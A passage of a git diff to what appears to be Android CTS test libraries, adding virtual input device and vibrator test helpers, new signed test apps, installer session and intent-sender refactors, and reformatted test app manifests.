+    public List<InputEvent> events = new ArrayList<InputEvent>();
+}
diff --git a/libs/input/src/com/android/cts/input/UinputVibratorManagerTestData.java b/libs/input/src/com/android/cts/input/UinputVibratorManagerTestData.java
new file mode 100644
index 0000000..ebafb7e
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/UinputVibratorManagerTestData.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.util.SparseArray;
+
+import java.util.List;
+
+/**
+ * Data class that stores HID vibrator test data.
+ */
+public class UinputVibratorManagerTestData {
+    // Array of vibrator durations
+    public List<Long> durations;
+
+    // SparseArray of vibrator id and amplitudes list. The array index is vibrator id,
+    // the value is the list of amplitudes.
+    public SparseArray<List<Integer>> amplitudes;
+}
diff --git a/libs/input/src/com/android/cts/input/UinputVibratorTestData.java b/libs/input/src/com/android/cts/input/UinputVibratorTestData.java
new file mode 100644
index 0000000..280ef32
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/UinputVibratorTestData.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import java.util.List;
+
+/**
+ * Data class that stores HID vibrator test data.
+ */
+public class UinputVibratorTestData {
+    // Array of vibrator durations
+    public List<Long> durations;
+
+    // Array of vibrator amplitudes
+    public List<Integer> amplitudes;
+
+}
diff --git a/libs/input/src/com/android/cts/input/VirtualInputDevice.java b/libs/input/src/com/android/cts/input/VirtualInputDevice.java
new file mode 100644
index 0000000..bcf28eb
--- /dev/null
+++ b/libs/input/src/com/android/cts/input/VirtualInputDevice.java
@@ -0,0 +1,252 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import static android.os.FileUtils.closeQuietly;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.hardware.input.InputManager;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.ParcelFileDescriptor;
+import android.util.JsonReader;
+import android.util.JsonToken;
+import android.util.Log;
+import android.view.InputDevice;
+
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.io.UnsupportedEncodingException;
+import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Declares a virtual INPUT device registered through /dev/uinput or /dev/hid.
+ */
+public abstract class VirtualInputDevice implements InputManager.InputDeviceListener {
+    private static final String TAG = "VirtualInputDevice";
+    private InputStream mInputStream;
+    private OutputStream mOutputStream;
+    private Instrumentation mInstrumentation;
+    private final Thread mResultThread;
+    private final HandlerThread mHandlerThread;
+    private final Handler mHandler;
+    private final InputManager mInputManager;
+    private volatile CountDownLatch mDeviceAddedSignal; // to wait for onInputDeviceAdded signal
+    private volatile CountDownLatch mDeviceRemovedSignal; // to wait for onInputDeviceRemoved signal
+    // Input device ID assigned by input manager
+    private int mDeviceId = Integer.MIN_VALUE;
+    private final int mVendorId;
+    private final int mProductId;
+    private final int mSources;
+    // Virtual device ID from the json file
+    protected final int mId;
+    protected JsonReader mReader;
+    protected final Object mLock = new Object();
+
+    /**
+     * To be implemented with device specific shell command to execute.
+     */
+    abstract String getShellCommand();
+
+    /**
+     * To be implemented with device specific result reading function.
+     */
+    abstract void readResults();
+
+    public VirtualInputDevice(Instrumentation instrumentation, int id, int vendorId, int productId,
+            int sources, String registerCommand) {
+        mInstrumentation = instrumentation;
+        mInputManager = mInstrumentation.getContext().getSystemService(InputManager.class);
+        setupPipes();
+
+        mId = id;
+        mVendorId = vendorId;
+        mProductId = productId;
+        mSources = sources;
+        mHandlerThread = new HandlerThread("InputDeviceHandlerThread");
+        mHandlerThread.start();
+        mHandler = new Handler(mHandlerThread.getLooper());
+
+        mDeviceAddedSignal = new CountDownLatch(1);
+        mDeviceRemovedSignal = new CountDownLatch(1);
+
+        mResultThread = new Thread(() -> {
+            try {
+                while (mReader.peek() != JsonToken.END_DOCUMENT) {
+                    readResults();
+                }
+            } catch (IOException ex) {
+                Log.w(TAG, "Exiting JSON Result reader. " + ex);
+            }
+        });
+        // Start result reader thread
+        mResultThread.start();
+        // Register input device listener
+        mInputManager.registerInputDeviceListener(VirtualInputDevice.this, mHandler);
+        // Register virtual input device
+        registerInputDevice(registerCommand);
+    }
+
+    protected byte[] readData() throws IOException {
+        ArrayList<Integer> data = new ArrayList<Integer>();
+        try {
+            mReader.beginArray();
+            while (mReader.hasNext()) {
+                data.add(Integer.decode(mReader.nextString()));
+            }
+            mReader.endArray();
+        } catch (IllegalStateException | NumberFormatException e) {
+            mReader.endArray();
+            throw new IllegalStateException("Encountered malformed data.", e);
+        }
+        byte[] rawData = new byte[data.size()];
+        for (int i = 0; i < data.size(); i++) {
+            int d = data.get(i);
+            if ((d & 0xFF) != d) {
+                throw new IllegalStateException("Invalid data, all values must be byte-sized");
+            }
+            rawData[i] = (byte) d;
+        }
+        return rawData;
+    }
+
+    /**
+     * Register an input device. May cause a failure if the device added notification
+     * is not received within the timeout period
+     *
+     * @param registerCommand The full json command that specifies how to register this device
+     */
+    private void registerInputDevice(String registerCommand) {
+        Log.i(TAG, "registerInputDevice: " + registerCommand);
+        writeCommands(registerCommand.getBytes());
+        try {
+            // Wait for input device added callback.
+            mDeviceAddedSignal.await(20L, TimeUnit.SECONDS);
+            if (mDeviceAddedSignal.getCount() != 0) {
+                throw new RuntimeException("Did not receive device added notification in time");
+            }
+        } catch (InterruptedException ex) {
+            throw new RuntimeException(
+                    "Unexpectedly interrupted while waiting for device added notification.");
+        }
+    }
+
+    /**
+     * Add a delay between processing events.
+     *
+     * @param milliSeconds The delay in milliseconds.
+     */
+    public void delay(int milliSeconds) {
+        JSONObject json = new JSONObject();
+        try {
+            json.put("command", "delay");
+            json.put("id", mId);
+            json.put("duration", milliSeconds);
+        } catch (JSONException e) {
+            throw new RuntimeException(
+                    "Could not create JSON object to delay " + milliSeconds + " milliseconds");
+        }
+        writeCommands(json.toString().getBytes());
+    }
+
+    /**
+     * Close the device, which would cause the associated input device to unregister.
+     */
+    public void close() {
+        closeQuietly(mInputStream);
+        closeQuietly(mOutputStream);
+        // mResultThread should exit when stream is closed.
+        try {
+            // Wait for input device removed callback.
+            mDeviceRemovedSignal.await(20L, TimeUnit.SECONDS);
+            if (mDeviceRemovedSignal.getCount() != 0) {
+                throw new RuntimeException("Did not receive device removed notification in time");
+            }
+        } catch (InterruptedException ex) {
+            throw new RuntimeException(
+                    "Unexpectedly interrupted while waiting for device removed notification.");
+        }
+        // Unregister input device listener
+        mInstrumentation.runOnMainSync(() -> {
+            mInputManager.unregisterInputDeviceListener(VirtualInputDevice.this);
+        });
+    }
+
+    private void setupPipes() {
+        UiAutomation ui = mInstrumentation.getUiAutomation();
+        ParcelFileDescriptor[] pipes = ui.executeShellCommandRw(getShellCommand());
+
+        mInputStream = new ParcelFileDescriptor.AutoCloseInputStream(pipes[0]);
+        mOutputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipes[1]);
+        try {
+            mReader = new JsonReader(new InputStreamReader(mInputStream, "UTF-8"));
+        } catch (UnsupportedEncodingException e) {
+            throw new RuntimeException(e);
+        }
+        mReader.setLenient(true);
+    }
+
+    protected void writeCommands(byte[] bytes) {
+        try {
+            mOutputStream.write(bytes);
+            mOutputStream.flush();
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private void updateInputDevice(int deviceId) {
+        InputDevice device = mInputManager.getInputDevice(deviceId);
+        if (device == null) {
+            return;
+        }
+        // Check if the device is what we expected
+        if (device.getVendorId() == mVendorId && device.getProductId() == mProductId
+                && (device.getSources() & mSources) == mSources) {
+            mDeviceId = device.getId();
+            mDeviceAddedSignal.countDown();
+        }
+    }
+
+    // InputManager.InputDeviceListener functions
+    @Override
+    public void onInputDeviceAdded(int deviceId) {
+        // Check the new added input device
+        updateInputDevice(deviceId);
+    }
+
+    @Override
+    public void onInputDeviceChanged(int deviceId) {
+        // InputDevice may be updated with new input sources added
+        updateInputDevice(deviceId);
+    }
+
+    @Override
+    public void onInputDeviceRemoved(int deviceId) {
+        if (deviceId == mDeviceId) {
+            mDeviceRemovedSignal.countDown();
+        }
+    }
+}
diff --git a/libs/install/Android.bp b/libs/install/Android.bp
index 284f2fe..e344bdd 100644
--- a/libs/install/Android.bp
+++ b/libs/install/Android.bp
@@ -69,6 +69,14 @@
 }
 
 android_test_helper_app {
+    name: "TestAppBv3",
+    manifest: "testapp/Bv3.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v3"],
+}
+
+android_test_helper_app {
     name: "TestAppCv1",
     manifest: "testapp/Cv1.xml",
     sdk_version: "current",
@@ -77,6 +85,14 @@
 }
 
 android_test_helper_app {
+    name: "TestAppCv2",
+    manifest: "testapp/Cv2.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v2"],
+}
+
+android_test_helper_app {
     name: "TestAppASplitV1",
     manifest: "testapp/Av1.xml",
     sdk_version: "current",
@@ -94,6 +110,28 @@
     package_splits: ["anydpi"],
 }
 
+android_test_helper_app {
+    name: "TestAppAOriginalV1",
+    manifest: "testapp/Av1.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v1"],
+    certificate: ":cts-ec-p256",
+    apex_available: [ "com.android.apex.apkrollback.test_v1" ],
+}
+
+android_test_helper_app {
+    name: "TestAppARotatedV2",
+    manifest: "testapp/Av2.xml",
+    sdk_version: "current",
+    srcs: ["testapp/src/**/*.java"],
+    resource_dirs: ["testapp/res_v2"],
+    certificate: ":cts-ec-p256",
+    additional_certificates: [":cts-ec-p256_2"],
+    lineage: "testapp/signing/ec-p256-por-1_2",
+    apex_available: [ "com.android.apex.apkrollback.test_v2" ],
+}
+
 java_library {
     name: "cts-install-lib-java",
     srcs: ["src/**/lib/*.java"],
@@ -110,10 +148,14 @@
         ":TestAppAv3",
         ":TestAppBv1",
         ":TestAppBv2",
+        ":TestAppBv3",
         ":TestAppCv1",
+        ":TestAppCv2",
         ":TestAppACrashingV2",
         ":TestAppASplitV1",
         ":TestAppASplitV2",
+        ":TestAppAOriginalV1",
+        ":TestAppARotatedV2",
         ":StagedInstallTestApexV1",
         ":StagedInstallTestApexV2",
         ":StagedInstallTestApexV3",
diff --git a/libs/install/src/com/android/cts/install/lib/Install.java b/libs/install/src/com/android/cts/install/lib/Install.java
index cd18906..9f278a0 100644
--- a/libs/install/src/com/android/cts/install/lib/Install.java
+++ b/libs/install/src/com/android/cts/install/lib/Install.java
@@ -154,17 +154,10 @@
         int sessionId = createSession();
         try (PackageInstaller.Session session =
                      InstallUtils.openPackageInstallerSession(sessionId)) {
-            session.commit(LocalIntentSender.getIntentSender());
-            Intent result = LocalIntentSender.getIntentSenderResult();
-            int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
-                    PackageInstaller.STATUS_FAILURE);
-            if (status == -1) {
-                throw new AssertionError("PENDING USER ACTION");
-            } else if (status > 0) {
-                String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
-                throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
-            }
-
+            LocalIntentSender sender = new LocalIntentSender();
+            session.commit(sender.getIntentSender());
+            Intent result = sender.getResult();
+            InstallUtils.assertStatusSuccess(result);
             if (mIsStaged) {
                 InstallUtils.waitForSessionReady(sessionId);
             }
diff --git a/libs/install/src/com/android/cts/install/lib/InstallUtils.java b/libs/install/src/com/android/cts/install/lib/InstallUtils.java
index 7f92c62..faa040f 100644
--- a/libs/install/src/com/android/cts/install/lib/InstallUtils.java
+++ b/libs/install/src/com/android/cts/install/lib/InstallUtils.java
@@ -17,9 +17,11 @@
 package com.android.cts.install.lib;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.junit.Assert.fail;
 
+import android.app.UiAutomation;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
@@ -31,6 +33,7 @@
 import android.content.pm.PackageManager;
 import android.os.Handler;
 import android.os.HandlerThread;
+import android.os.SystemClock;
 
 import androidx.test.InstrumentationRegistry;
 
@@ -41,6 +44,7 @@
 import java.util.List;
 import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Utilities to facilitate installation in tests.
@@ -48,32 +52,38 @@
 public class InstallUtils {
     private static final int NUM_MAX_POLLS = 5;
     private static final int POLL_WAIT_TIME_MILLIS = 200;
+    private static final long GET_UIAUTOMATION_TIMEOUT_MS = 60000;
+
+    private static UiAutomation getUiAutomation() {
+        final long start = SystemClock.uptimeMillis();
+        while (SystemClock.uptimeMillis() - start < GET_UIAUTOMATION_TIMEOUT_MS) {
+            UiAutomation ui = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+            if (ui != null) {
+                return ui;
+            }
+        }
+        throw new AssertionError("Failed to get UiAutomation");
+    }
 
     /**
      * Adopts the given shell permissions.
      */
     public static void adoptShellPermissionIdentity(String... permissions) {
-        InstrumentationRegistry
-                .getInstrumentation()
-                .getUiAutomation()
-                .adoptShellPermissionIdentity(permissions);
+        getUiAutomation().adoptShellPermissionIdentity(permissions);
     }
 
     /**
      * Drops all shell permissions.
      */
     public static void dropShellPermissionIdentity() {
-        InstrumentationRegistry
-                .getInstrumentation()
-                .getUiAutomation()
-                .dropShellPermissionIdentity();
+        getUiAutomation().dropShellPermissionIdentity();
     }
     /**
      * Returns the version of the given package installed on device.
      * Returns -1 if the package is not currently installed.
      */
     public static long getInstalledVersion(String packageName) {
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
         PackageManager pm = context.getPackageManager();
         try {
             PackageInfo info = pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
@@ -84,10 +94,9 @@
     }
 
     /**
-     * Waits for the given session to be marked as ready.
-     * Throws an assertion if the session fails.
+     * Waits for the given session to be marked as ready or failed and returns it.
      */
-    public static void waitForSessionReady(int sessionId) {
+    public static PackageInstaller.SessionInfo waitForSession(int sessionId) {
         BlockingQueue<PackageInstaller.SessionInfo> sessionStatus = new LinkedBlockingQueue<>();
         BroadcastReceiver sessionUpdatedReceiver = new BroadcastReceiver() {
             @Override
@@ -108,7 +117,7 @@
         IntentFilter sessionUpdatedFilter =
                 new IntentFilter(PackageInstaller.ACTION_SESSION_UPDATED);
 
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
         context.registerReceiver(sessionUpdatedReceiver, sessionUpdatedFilter);
 
         PackageInstaller installer = getPackageInstaller();
@@ -118,22 +127,34 @@
             if (info.isStagedSessionReady() || info.isStagedSessionFailed()) {
                 sessionStatus.put(info);
             }
-
-            info = sessionStatus.take();
+            info = sessionStatus.poll(60, TimeUnit.SECONDS);
             context.unregisterReceiver(sessionUpdatedReceiver);
-            if (info.isStagedSessionFailed()) {
-                throw new AssertionError(info.getStagedSessionErrorMessage());
-            }
+            assertWithMessage("Timed out while waiting for session to get ready/failed")
+                    .that(info).isNotNull();
+            assertThat(info.getSessionId()).isEqualTo(sessionId);
+            return info;
         } catch (InterruptedException e) {
             throw new AssertionError(e);
         }
     }
 
     /**
+     * Waits for the given session to be marked as ready.
+     * Throws an assertion if the session fails.
+     */
+    public static void waitForSessionReady(int sessionId) {
+        PackageInstaller.SessionInfo info = waitForSession(sessionId);
+        // TODO: migrate to PackageInstallerSessionInfoSubject
+        if (info.isStagedSessionFailed()) {
+            throw new AssertionError(info.getStagedSessionErrorMessage());
+        }
+    }
+
+    /**
      * Returns the info for the given package name.
      */
     public static PackageInfo getPackageInfo(String packageName) {
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
         PackageManager pm = context.getPackageManager();
         try {
             return pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
@@ -146,7 +167,7 @@
      * Returns the PackageInstaller instance of the current {@code Context}
      */
     public static PackageInstaller getPackageInstaller() {
-        return InstrumentationRegistry.getContext().getPackageManager().getPackageInstaller();
+        return InstrumentationRegistry.getTargetContext().getPackageManager().getPackageInstaller();
     }
 
     /**
@@ -220,7 +241,7 @@
         intent.setComponent(new ComponentName(packageName,
                 "com.android.cts.install.lib.testapp.ProcessUserData"));
         intent.setAction("PROCESS_USER_DATA");
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
 
         HandlerThread handlerThread = new HandlerThread("RollbackTestHandlerThread");
         handlerThread.start();
@@ -269,7 +290,7 @@
         intent.setComponent(new ComponentName(packageName,
                 "com.android.cts.install.lib.testapp.ProcessUserData"));
         intent.setAction("GET_USER_DATA_VERSION");
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
 
         HandlerThread handlerThread = new HandlerThread("RollbackTestHandlerThread");
         handlerThread.start();
@@ -325,7 +346,7 @@
      */
     public static boolean isOnlyInstalledForUser(String packageName, int userIdToCheck,
             List<Integer> userIds) {
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
         PackageManager pm = context.getPackageManager();
         for (int userId: userIds) {
             List<PackageInfo> installedPackages;
diff --git a/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java b/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
index 4560ab1..cdf709c 100644
--- a/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
+++ b/libs/install/src/com/android/cts/install/lib/LocalIntentSender.java
@@ -16,12 +16,16 @@
 
 package com.android.cts.install.lib;
 
+import static android.app.PendingIntent.FLAG_MUTABLE;
+
 import android.app.PendingIntent;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.IntentSender;
 import android.content.pm.PackageInstaller;
+import android.os.SystemClock;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
@@ -35,49 +39,36 @@
  */
 public class LocalIntentSender extends BroadcastReceiver {
     private static final String TAG = "cts.install.lib";
-
-    private static final BlockingQueue<Intent> sIntentSenderResults = new LinkedBlockingQueue<>();
+    private final BlockingQueue<Intent> mResults = new LinkedBlockingQueue<>();
 
     @Override
     public void onReceive(Context context, Intent intent) {
         Log.i(TAG, "Received intent " + prettyPrint(intent));
-        sIntentSenderResults.add(intent);
+        mResults.add(intent);
     }
 
     /**
      * Get a LocalIntentSender.
      */
-    public static IntentSender getIntentSender() {
-        Context context = InstrumentationRegistry.getContext();
-        Intent intent = new Intent(context, LocalIntentSender.class);
-        PendingIntent pending = PendingIntent.getBroadcast(context, 0, intent, 0);
+    public IntentSender getIntentSender() {
+        Context context = InstrumentationRegistry.getTargetContext();
+        // Generate a unique string to ensure each LocalIntentSender gets its own results.
+        String action = LocalIntentSender.class.getName() + SystemClock.elapsedRealtime();
+        context.registerReceiver(this, new IntentFilter(action));
+        Intent intent = new Intent(action);
+        PendingIntent pending = PendingIntent.getBroadcast(context, 0, intent, FLAG_MUTABLE);
         return pending.getIntentSender();
     }
 
     /**
-     * Returns the most recent Intent sent by a LocalIntentSender.
+     * Returns and remove the most early Intent received by this LocalIntentSender.
      */
-    public static Intent getIntentSenderResult() throws InterruptedException {
-        Intent intent = sIntentSenderResults.take();
+    public Intent getResult() throws InterruptedException {
+        Intent intent = mResults.take();
         Log.i(TAG, "Taking intent " + prettyPrint(intent));
         return intent;
     }
 
-    /**
-     * Returns an Intent that targets the given {@code sessionId}, while discarding others.
-     */
-    public static Intent getIntentSenderResult(int sessionId) throws InterruptedException {
-        while (true) {
-            Intent intent = sIntentSenderResults.take();
-            if (intent.getIntExtra(PackageInstaller.EXTRA_SESSION_ID, -1) == sessionId) {
-                Log.i(TAG, "Taking intent " + prettyPrint(intent));
-                return intent;
-            } else {
-                Log.i(TAG, "Discarding intent " + prettyPrint(intent));
-            }
-        }
-    }
-
     private static String prettyPrint(Intent intent) {
         int sessionId = intent.getIntExtra(PackageInstaller.EXTRA_SESSION_ID, -1);
         int status = intent.getIntExtra(PackageInstaller.EXTRA_STATUS,
diff --git a/libs/install/src/com/android/cts/install/lib/TestApp.java b/libs/install/src/com/android/cts/install/lib/TestApp.java
index 4f43613..8775ef4 100644
--- a/libs/install/src/com/android/cts/install/lib/TestApp.java
+++ b/libs/install/src/com/android/cts/install/lib/TestApp.java
@@ -50,14 +50,22 @@
             "TestAppASplitV2.apk", "TestAppASplitV2_anydpi.apk");
     public static final TestApp AIncompleteSplit = new TestApp("AIncompleteSplit", A, 1,
             /*isApex*/false, "TestAppASplitV1_anydpi.apk");
+    public static final TestApp AOriginal1 = new TestApp("AOriginalV1", A, 1, /*isApex*/false,
+            "TestAppAOriginalV1.apk");
+    public static final TestApp ARotated2 = new TestApp("ARotatedV2", A, 2, /*isApex*/false,
+            "TestAppARotatedV2.apk");
 
     public static final TestApp B1 = new TestApp("Bv1", B, 1, /*isApex*/false,
             "TestAppBv1.apk");
     public static final TestApp B2 = new TestApp("Bv2", B, 2, /*isApex*/false,
             "TestAppBv2.apk");
+    public static final TestApp B3 = new TestApp("Bv3", B, 3, /*isApex*/false,
+            "TestAppBv3.apk");
 
     public static final TestApp C1 = new TestApp("Cv1", C, 1, /*isApex*/false,
             "TestAppCv1.apk");
+    public static final TestApp C2 = new TestApp("Cv2", C, 2, /*isApex*/false,
+            "TestAppCv2.apk");
 
     // Apex collection
     public static final TestApp Apex1 = new TestApp("Apex1", SHIM_APEX_PACKAGE_NAME, 1,
diff --git a/libs/install/src/com/android/cts/install/lib/Uninstall.java b/libs/install/src/com/android/cts/install/lib/Uninstall.java
index 0444130..e746f89 100644
--- a/libs/install/src/com/android/cts/install/lib/Uninstall.java
+++ b/libs/install/src/com/android/cts/install/lib/Uninstall.java
@@ -43,10 +43,11 @@
             return;
         }
 
-        Context context = InstrumentationRegistry.getContext();
+        Context context = InstrumentationRegistry.getTargetContext();
         PackageManager packageManager = context.getPackageManager();
         PackageInstaller packageInstaller = packageManager.getPackageInstaller();
-        packageInstaller.uninstall(packageName, LocalIntentSender.getIntentSender());
-        InstallUtils.assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+        LocalIntentSender sender = new LocalIntentSender();
+        packageInstaller.uninstall(packageName, sender.getIntentSender());
+        InstallUtils.assertStatusSuccess(sender.getResult());
     }
 }
diff --git a/libs/install/testapp/ACrashingV2.xml b/libs/install/testapp/ACrashingV2.xml
index 338a5b9..ec55930 100644
--- a/libs/install/testapp/ACrashingV2.xml
+++ b/libs/install/testapp/ACrashingV2.xml
@@ -15,21 +15,22 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.install.lib.testapp.A"
-    android:versionCode="2"
-    android:versionName="2.0" >
+     package="com.android.cts.install.lib.testapp.A"
+     android:versionCode="2"
+     android:versionName="2.0">
 
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-sdk android:minSdkVersion="19"/>
 
     <application android:label="Test App A v2">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
-                  android:exported="true" />
-        <activity android:name="com.android.cts.install.lib.testapp.CrashingMainActivity">
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.CrashingMainActivity"
+             android:exported="true">
             <intent-filter>
-              <action android:name="android.intent.action.MAIN" />
+              <action android:name="android.intent.action.MAIN"/>
               <category android:name="android.intent.category.DEFAULT"/>
-              <category android:name="android.intent.category.LAUNCHER" />
+              <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/libs/install/testapp/Av1.xml b/libs/install/testapp/Av1.xml
index e9714fc..0d0a392 100644
--- a/libs/install/testapp/Av1.xml
+++ b/libs/install/testapp/Av1.xml
@@ -15,20 +15,21 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.install.lib.testapp.A"
-    android:versionCode="1"
-    android:versionName="1.0" >
+     package="com.android.cts.install.lib.testapp.A"
+     android:versionCode="1"
+     android:versionName="1.0">
 
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-sdk android:minSdkVersion="19"/>
 
     <application android:label="Test App A1">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
-                  android:exported="true" />
-        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/libs/install/testapp/Av2.xml b/libs/install/testapp/Av2.xml
index fd8afa0..d92cfd0 100644
--- a/libs/install/testapp/Av2.xml
+++ b/libs/install/testapp/Av2.xml
@@ -15,20 +15,21 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.install.lib.testapp.A"
-    android:versionCode="2"
-    android:versionName="2.0" >
+     package="com.android.cts.install.lib.testapp.A"
+     android:versionCode="2"
+     android:versionName="2.0">
 
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-sdk android:minSdkVersion="19"/>
 
     <application android:label="Test App A2">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
-            android:exported="true" />
-        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/libs/install/testapp/Av3.xml b/libs/install/testapp/Av3.xml
index a7839e3..b5826d1 100644
--- a/libs/install/testapp/Av3.xml
+++ b/libs/install/testapp/Av3.xml
@@ -15,20 +15,21 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.install.lib.testapp.A"
-    android:versionCode="3"
-    android:versionName="3.0" >
+     package="com.android.cts.install.lib.testapp.A"
+     android:versionCode="3"
+     android:versionName="3.0">
 
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-sdk android:minSdkVersion="19"/>
 
     <application android:label="Test App A3">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
-            android:exported="true" />
-        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/libs/install/testapp/Bv1.xml b/libs/install/testapp/Bv1.xml
index 403e7e2..9c9b9d3 100644
--- a/libs/install/testapp/Bv1.xml
+++ b/libs/install/testapp/Bv1.xml
@@ -15,20 +15,21 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.install.lib.testapp.B"
-    android:versionCode="1"
-    android:versionName="1.0" >
+     package="com.android.cts.install.lib.testapp.B"
+     android:versionCode="1"
+     android:versionName="1.0">
 
 
-    <uses-sdk android:minSdkVersion="19" />
+    <uses-sdk android:minSdkVersion="19"/>
 
     <application android:label="Test App B1">
         <receiver android:name="com.android.cts.install.lib.testapp.ProcessUserData"
-            android:exported="true" />
-        <activity android:name="com.android.cts.install.lib.testapp.MainActivity">
+             android:exported="true"/>
+        <activity android:name="com.android.cts.install.lib.testapp.MainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
diff --git a/libs/install/testapp/Bv2.xml b/libs/install/testapp/Bv2.xml
